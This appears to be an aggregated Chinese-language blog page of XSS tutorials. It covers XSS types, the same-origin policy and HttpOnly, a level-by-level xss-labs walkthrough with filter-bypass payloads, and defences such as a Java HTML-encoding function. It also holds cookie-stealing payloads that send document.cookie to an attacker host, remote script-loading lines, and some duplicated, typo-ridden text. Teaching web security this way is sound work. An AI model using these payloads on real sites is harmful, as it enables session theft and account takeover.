- 外文名
- Cross Site Script Attack
- 中文名
- 跨站脚本攻击
-
xss
2020-08-07 17:20:30文章目录XSS基础知识HTML字符实体js执行方式html事件事件绕过姿势html基础js基础浏览器安全策略同源策略http-only安全策略下的通信http-only属性开启情况下同源策略情况下XSS介绍XSS概念XSS危害XSS漏洞原理XSS分类...文章目录
XSS
文档:XSS通关小游戏以及我的挑战思路分享(XS…
链接:http://note.youdao.com/noteshare?id=20a8a71c73b81acc92438ce754c58a8d基础知识
HTML字符实体
显示结果 描述 实体名称 实体编号 空格
 
< 小于号 <
<
> 大于号 >
>
& 和号 &
&
" 引号 "
"
%0A:URL编码、换行符
js执行方式
<input ...><script>alert(1);</script> //直接嵌入script
<script src=https://xsspt.com/MQzN0Z></script> //从远程嵌入script
<input type="text" value="abc" onclick="alert(1);"> //通过事件属性值传入script字符串
<a href=javascript:alert(1)>test</a> //超链接
或
<a href=javascript:alert(1)>aaa</a> //html实体转义
html事件
<button onclick="getElementById('demo').innerHTML=Date()">现在的时间是?</button> <button onclick="this.innerHTML=Date()">现在的时间是?</button> <button onclick="displayDate()">现在的时间是?</button>
事件
事件 描述 onchange HTML 元素改变 onclick 用户点击 HTML 元素 onmouseover 用户在一个HTML元素上移动鼠标 onmouseout 用户从一个HTML元素上移开鼠标 onkeydown 用户按下键盘按键 onload 浏览器已完成页面的加载 绕过姿势
大小写绕过
编码绕过
双写绕过
生僻函数绕过
html基础
<script> <textarea> <input> <form>
js基础
第一个弹窗
<script>alert(1);</script>
js控制台输出
console.log(1) console.log`1`
js注释符://,仅能注释当前行
!!!WARNING:极其危险,不建议使用。尽量使用闭合!
浏览器安全策略
同源策略
要素:域名、端口、协议
判断下面是否同源(1、5、6)
-
http://baidu.com/
-
http://www.baidu.com
-
http://www.baidu.com:9001
-
https://baidu.com
-
http://baidu.com/abc/
-
http://baidu.com/lab/
xss植入论坛的代码里,然后xss运行后将cookie发送到另外一台服务器上的xss平台上,这明明是两个网站,为什么xss平台网站能够获取论坛的cookie?
http-only
这是一个服务器下发给客户端的一个http响应头的字段内容。
安全策略下的通信
http-only属性开启情况下
浏览器仍然可以自动带上cookie访问访问当前页面网站
当前页面中的js代码去访问其他网站时,不会自动带上cookie去访问非同源网站,cookie无法传送出去
同源策略情况下
网站js能够读取cookie并传送给其他服务器(http-only未开启情况下);
网站js不能够去读取非同源网站的cookie,不能够操作其他网站的DOM。
XSS介绍
XSS概念
CSS(Cross Site Scripting)—>>>XSS(跨站脚本攻击)
目的:让受害者http客户端运行攻击者编写的恶意脚本。
目标:前端脚本解析器,比如浏览器的javascript解析引擎、IE中的VBScript解析引擎。
攻击的架构:BS架构(browser<–>(http)server)
XSS危害
XSS能够产生的危害依赖于浏览器客户端脚本解析引擎的能力。
- 技术上
窃取凭证
篡改DOM(篡改页面布局及内容)
嵌入恶意的脚本代码
发起恶意请求(Ajax)
- 社会影响上
无账号密码的情况下非法登录网站
网络钓鱼
网页蠕虫
网页篡改
破解CSRF token限制
XSS漏洞原理
前端用户提交的脚本代码被其他用户浏览器执行产生预期外的执行后果。(让自己提交的前端脚本代码被别人运行)
XSS分类
三类:反射型、存储型、DOM型
反射性XSS:一次性XSS,与服务器交互
存储型XSS:持久性XSS,与服务器交互
DOM型XSS:一次性XSS,不与服务器交互
如何发现XSS漏洞点
找到输入点和输出点、以及两者共存的情况,或者根据输入点猜测后台的输出点位置及触发条件(盲X),比如:各类表单处、文件上传点等等
XSS利用思路与步骤
- 找到输入点和输出点、以及两者共存的情况,或者根据输入点猜测后台的输出点位置及触发条件(盲X)
- 构造payload,尽量一次性成功
- 观察闭合、过滤和拦截情况
- 重新构造payload
- 如不成功,重复第3、4步
XSS防御思路
- 白名单策略
- 使用白名单写死允许的标签和事件规则
- 黑名单策略(不可靠)
- html实体编码转义
"、'、/、<、>、script、事件函数名
- 采用成熟防XSS的框架(参考OWASP网站)
- 服务端添加http-only头下发到客户端(防止cookie窃取)
- 采用最新版本浏览器
闯关
靶场:xss-labs
在线靶场:
http://xss-quiz.int21h.jp/
类型:反射型xss
pass1
<script>alert(1)</script>
pass2
"><script>alert(1)</script>
pass3
单引号闭合,使用on事件绕过
Payload:
' onclick=alert(1) '
pass4
双引号闭合,使用on事件绕过
Payload:
" onmouseover=alert(1) "
pass5
Input标签过滤了on事件及
<script>
语句,使用<a>
标签绕过Payload:
"><a href=javascript:alert(1)>
pass6
Input标签过滤了on事件,
<script>
语句及<a>
标签,使用大小写绕过或者使用svg标签Payload:
"> <a HREF=javascript:alert(1)>test</a>>
或者
"><svg x="" Onclick=alert(1)>
pass7
Input标签同样过滤了script等关键字,且将对应的关键字直接置换为空,由此使用双写绕过
Payload:
"> <scrscriptipt>alert(1)</scrscriptipt>
pass8
Input标签过滤javascript关键字,会把javascript变成javasc_ript,通过将“JavaScript”进行HTML字符实体转换绕过
Payload:
javascript:alert(1)
pass9
Input标签过滤javascript关键字,会把javascript变成javasc_ript,通过将“JavaScript”进行HTML字符实体转换绕过
通过源码审计得知输入payload必须要包含http://(用单行注释符//注释掉后面的http://)
Payload:
javascript:alert(1)//http://
pass10
打开界面发现没有输入点,使用F12审查元素得知有隐藏的表单
共有三个input标签,但只能使用第三个
将t_sort的type类型修改为text类型,在输入框内输入payload:
test" onmouseover="alert(1)
,回车,无反应,重新将type类型修改为text类型,回车鼠标移到输入框,通关
前两个标签在修改为text类型后,将payload输入,回车会将payload吃掉
pass11
依旧是隐藏了表单,使用前一关的方法发现对
"
、<
等进行了过滤但又发现多了一个input标签(t_ref)
测试发现修改type类型后无论写什么值都会被覆盖
F12审查发现与网页请求头的referer内容相同
但是referer在本页请求是不存在的,所以在第十关通关时通过抓包修改进入第十一关的referer
放行后,进入下一关,修改标签类型为text,回车,鼠标移到输入框,通关
pass12
与十一关类似,直接本关抓包修改user-agent
payload:
" onmouseover="alert(1)
payload(抓包建议):
" type="text" onclick="alert(1)
或者
直接F12修改
t_ua
标签放行(F12修改)后,修改标签类型为text,回车,鼠标移到输入框,通关
pass13
同第十二关
抓包修改cookie
或者
直接F12修改
t_cook
标签payload:
" onmouseover="alert(1)
payload(抓包建议):
" type="text" onclick="alert(1)
pass14/pass15
调用的文件地址失效,无法进行测试
pass16
代码审计值含有keyword变量,且后台将
Script、空格、/
都进行了过滤%0A:URL编码、换行符
payload:
?keyword=<a%0Atype="text"%0Aonmouseover=alert(1)>
pass17
-
根据返回的代码判断,arg01和arg02提交的变量存在注入点
-
进行注入
payload:
?arg01=a&arg02=b onmouseover=alert(1)
ps:火狐不支持swf,可以使用谷歌
pass18
同十七关
pass19/pass20
flash xss,涉及到反编译
反射型XSS测试步骤总结
-
检测输入变量,确认每个web页面中用户可自定义的变量,如HTTP参数、POST数据、隐藏表单字段值、预定义的radio值或选择值
-
分别确认每个输入变量是否存在xss漏洞。变量输入处输入poc,查看返回的web页面的html中poc代码是否被过滤,浏览器是否响应poc,若存在过滤,进行测试查看能否进行绕过。
xss的攻防
1.利用<>标记,构造
<script>
标签可执行javascript的xss代码。 xss过滤函数需过滤
<><script></script>
等字符。2.利用html标签属性支持javascript:伪协议(支持标签属性的有href、lowsrc、bgsound、background、value、action、dynsrc等),执行xss代码。
xss 过滤函数需过滤JavaScript等关键字。
3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车、空格、tab等键,绕过对javascript的关键字的过滤。
4.利用html标签属性值支持ascii码,对标签属性值进行转码进行规则库的绕过。
xss 过滤函数需过滤&#\等字符。
5.利用事件处理函数,触发事件,执行xss代码。例如
<img src='#' onerror=alert(/xss/)>
,当浏览器响应页面时,找不到图片的地址,触发onerror事件。6.利用css执行javascript代码
css代码中利用expression触发xss漏洞。
<div style="width: expression(alert('xss'));> <img src="#" style="xss:expression(alert(/xss/));"> <style>body {background-image:expression(alert("xss"));}</style> <div style="list-style-image:url(javascript:alert('xss'))">
css代码中利用@import触发xss
<stytle> @import 'javascript:alert("XSS")'; </stytle>
css代码中使用@import和link方式导入外部含有xss代码的样式表文件
<link rel="stytlesheet" href="http://www.***.com/a.css"> <stytle type='text/css'>@import url(http://www.*.com/a.css);</style>
xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。
7.利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、 运用/**/混淆过滤规则来绕过过滤函数
8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。
alert(“XSS”)’;
css代码中使用@import和link方式导入外部含有xss代码的样式表文件 ```html <link rel="stytlesheet" href="http://www.***.com/a.css"> <stytle type='text/css'>@import url(http://www.*.com/a.css);</style>
xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。
7.利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、 运用/**/混淆过滤规则来绕过过滤函数
8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。
-
-
XSS
2020-03-09 18:31:02Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型: 1.反射性XSS; 2.存储型XSS; 3.DOM型XSS; XSS漏洞一直被评估为web漏洞中危害较大的...Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义; -
XSS攻击及防御
2013-11-29 18:35:23XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的H...本文来自:高爽|Coder,原文地址:http://blog.csdn.net/ghsau/article/details/17027893,转载请注明。
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。XSS攻击
XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。
DOM Based XSS
DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。
场景一:
当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>XSS测试</title>
</head>
<body>
页面内容:<%=request.getParameter("content")%>
</body>
</html>
我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?
Stored XSS
Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。
场景二:
a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。
Stored XSS漏洞危害性更大,危害面更广。XSS防御
我们是在一个矛盾的世界中,有矛就有盾。只要我们的代码中不存在漏洞,攻击者就无从下手,我们要做一个没有缝的蛋。XSS防御有如下方式。
完善的过滤体系
永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。
Html encode
假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。
less-than character (<)
<
greater-than character (>)
>
ampersand character (&)
&
double-quote character (")
"
space character( )
Any ASCII code character whose code is greater-than or equal to 0x80
&#<number>, where <number> is the ASCII character value.
比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:<script>window.location.href="http://www.baidu.com"</script>在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。
其它
下面提供两种Html encode的方法。
- 使用Apache的commons-lang.jar
StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码,空格不转换
- 自己实现转换,只转换部分字符
private static String htmlEncode(char c) {
switch(c) {
case '&':
return "&";
case '<':
return "<";
case '>':
return ">";
case '"':
return """;
case ' ':
return " ";
default:
return c + "";
}
}
/** 对传入的字符串str进行Html encode转换 */
public static String htmlEncode(String str) {
if (str ==null || str.trim().equals("")) return str;
StringBuilder encodeStrBuilder = new StringBuilder();
for (int i = 0, len = str.length(); i < len; i++) {
encodeStrBuilder.append(htmlEncode(str.charAt(i)));
}
return encodeStrBuilder.toString();
}
(完)
本文来自:高爽|Coder,原文地址:http://blog.csdn.net/ghsau/article/details/17027893,转载请注明。
- 使用Apache的commons-lang.jar
-
Xss
2018-07-26 20:05:30XSS(Cross Site Scripting)攻击全称跨站脚本攻击,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。xss就是在页面执行你所要执行的js。 Fuzz testing 模糊测试...XSS(Cross Site Scripting)攻击全称跨站脚本攻击,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。xss就是在页面执行你所要执行的js。
Fuzz testing 模糊测试
point:“xss盲打”,“xss编码绕过”,“fuzzing xss”
参考
https://blog.csdn.net/u011781521/article/details/53894399
http://www.freebuf.com/articles/web/40520.html
xss攻击大全?
http://www.freebuf.com/author/Black-Hole
1:xss攻击可以分成两种类型:
1).非持久型攻击
2).持久型攻击
非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。
反射型:经过后端,不经过数据库
存储型:经过后端,经过数据库
DOM:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom – xss是通过url传入参数去控制触发的。
2:可以通过闭合html标签,增加onclick,onerror函数来实现各种操作
3:xss的利用
插入jsdaima
<script scr="js_url"></script>
<img src=x οnerrοr=appendChild(createElement('script')).src='js_url' />
-
XSS(跨站脚本攻击)详解
2018-09-08 10:43:09XSS的原理和分类 XSS的攻击载荷 XSS可以插在哪里? XSS漏洞的挖掘 XSS的攻击过程 XSS漏洞的危害 XSS漏洞的简单攻击测试 反射型XSS: 存储型XSS: DOM型XSS: XSS的简单过滤和绕过 XSS的防御 反射型XSS... -
XSS(跨站脚本)漏洞详解之XSS跨站脚本攻击漏洞的解决
2019-01-22 17:35:09XSS(跨站脚本)漏洞详解 XSS的原理和分类 跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script... -
xss攻击之伪造cookie
2020-01-23 15:42:16xss攻击之伪造cookie靶场地址:XSS盲打利用XSS公开平台生成漏洞利用代码UML 图表 靶场地址: http://59.63.200.79:8004/Feedback.asp XSS盲打 见框就插,输入进行测试 (若有长度限制则在input框中修改最大长度),... -
xss平台搭建源码,xss漏洞练习
2020-06-03 14:33:34xss平台搭建源码,用于练习xss漏洞,适用于网络安全学科的爱好者和学生,下载后解压缩到www目录下,需要将xss-sql导入数据库,并更改一下源码部分内容,很容易。最后要配置伪静态文件。
-
linux网络驱动.zip
-
2021年 系统分析师 系列课
-
项目管理工具与方法
-
JQuery 选择器
-
Advanced_BPF_Kernel_Features_for_the_Container_Age_FOSDEM.pdf
-
Metasploit -- 渗透攻击模块(exploit)
-
C++MFC开发远程控制软件教程(VS2013)
-
implicit declaration of function ‘sleep’
-
每日一题· 75
-
壹壹播放器2.0例子 e4a源码
-
jlink-v8 固件.zip
-
Amoeba 实现 MySQL 高可用、负载均衡和读写分离
-
2021年塔式起重机司机考试内容及塔式起重机司机
-
PaddleOCR 生成C++环境 demo
-
Jsplumb从入门到实战
-
MaxScale 实现 MySQL 读写分离与负载均衡
-
084_可直接用于项目的qt窗口(桑原创).rar
-
linux基础入门和项目实战部署系列课程
-
用微服务spring cloud架构打造物联网云平台
-
基于双向分布反射函数的红外偏振特性分析